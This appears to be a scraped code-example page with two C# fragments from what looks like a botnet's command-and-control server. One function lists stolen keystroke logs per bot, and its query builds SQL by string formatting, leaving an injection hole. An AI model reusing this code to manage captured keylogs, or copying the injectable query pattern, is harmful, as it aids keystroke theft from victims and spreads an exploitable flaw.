예제 #1
0
        public static string GetPage(CBotHandler BotHandler, int iPage, string strTag)
        {
            try
            {
                string strQuery = "SELECT log_id, log_title, log_reports, log_length, log_bot_id FROM key_logs";

                if (!String.IsNullOrEmpty(strTag))
                {
                    strQuery += string.Format(" WHERE log_title LIKE '%{0}%' OR log_data LIKE '%{0}%'", strTag);
                }

                strQuery += string.Format(" LIMIT {0}, {1}", (iPage - 1) * CConfig.ResultsPerPage, CConfig.ResultsPerPage);

                SQLiteDataReader Result = CMain.DatabaseClient.ExecuteReadQuery(strQuery);

                if (Result.HasRows)
                {
                    var sbKeylogList = new StringBuilder();

                    while (Result.Read())
                    {
                        int iBotID = -1;

                        if (!int.TryParse(Result[4].ToString(), out iBotID))
                        {
                            continue;
                        }

                        sbKeylogList.AppendFormat(
                            "{0}*{1}*{2}*{3}*{4}*{5};",
                            Result[0].ToString(), Convert.ToBase64String(UnicodeEncoding.Unicode.GetBytes(Result[1].ToString())), Result[2].ToString(), Result[3].ToString(), BotHandler.GetBotUsernameByID(iBotID), iBotID
                            );
                    }

                    return(sbKeylogList.ToString());
                }
            }
            catch { }

            return(string.Empty);
        }
예제 #2
0
 public CTaskHandler(CBotHandler BotHandler)
 {
     //this.lstTask = new List<CTask>();
     this.BotHandler = BotHandler;
 }